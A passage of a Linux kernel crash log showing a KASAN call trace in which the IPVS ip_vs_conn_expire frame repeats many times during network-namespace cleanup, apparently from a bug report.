fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 59.401472] Workqueue: netns cleanup_net [ 59.401937] Call Trace: [ 59.402476] [ 59.402722] ? kasan_record_aux_stack (mm/kasan/generic.c:556) [ 59.403221] ? __call_rcu_common.constprop.0 (kernel/rcu/tree.c:3181) [ 59.403776] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1403) [ 59.404393] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.404919] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.405388] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.405876] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.406362] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.406988] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.407488] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.407969] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.408517] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.409048] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.409520] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.410001] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.410487] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.410977] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.411434] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.411915] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.412533] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.413015] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.413518] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.414102] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.414579] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.415063] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.415529] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.416014] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.416475] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.417362] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.417823] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.418335] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.418795] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.419277] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.419737] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.420228] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.420775] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.421368] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.421945] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.422601] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.423082] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.423592] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.424077] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.424623] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.425200] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.425684] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.426177] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.426661] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.427120] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.427606] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.428075] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.428556] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.429110] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.429587] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.430127] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.430600] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.431050] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.431518] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.432140] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.432744] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.433333] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.433822] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.434299] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.434775] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.435217] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.435682] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.436117] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.436574] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.437079] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.437689] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.438164] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.438634] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.439103] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.439725] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.440184] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.440657] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.441106] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.441672] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.442137] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.442699] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.443153] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.443632] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.444121] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.444608] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.445055] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.445526] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.445997] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.446469] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.446905] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.447364] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.447808] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.448266] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.448701] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.449158] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.449685] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.450214] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.450709] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.451215] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.451659] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.452127] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.452575] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.453061] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.453529] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.454028] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.454524] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.455006] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.455474] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.455956] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.456413] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.456894] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.457360] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.457845] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.458335] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.458817] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.459282] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.459774] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.460242] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.460877] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.461349] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.461841] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.462356] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.462842] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.463296] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.463787] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.464243] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.464771] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.465229] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.465698] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.466319] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.466836] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.467285] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.467754] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.468199] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.468679] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.469124] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.469603] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.470073] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.470562] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.471012] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.471487] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.471937] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.472425] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.472884] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.473358] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.473805] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.474301] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.474758] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.475697] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.476168] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.476654] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.477148] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.477638] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.478134] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.478684] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.479369] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.479868] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.480331] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.480817] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.481325] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.481950] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.482473] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.482957] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.483509] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.484000] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.484597] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.485081] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.485541] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.486032] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.486511] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.486994] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.487540] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.488031] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.488490] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.488973] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.489445] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.489930] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.490407] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.490890] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.491358] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.491919] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.492378] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.492861] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.493329] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.493821] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.494296] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.494853] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.495320] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.495883] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.496373] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.496899] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.497358] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.497959] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.498446] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.498934] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.499393] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.500283] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.500791] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.501279] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.501742] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.502261] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.502722] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.503206] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.503672] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.504569] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.505102] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.505593] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.506051] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.506579] ? arch_stack_walk (arch/x86/include/asm/unwind.h:64 arch/x86/kernel/stacktrace.c:24) [ 59.506994] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.507457] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.507947] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.508412] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.508945] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.509410] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.509895] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.510394] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.510867] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.511317] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.511851] ? ext4_writepages (fs/ext4/inode.c:3032) [ 59.512273] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.512816] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.513289] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.513781] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.514393] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 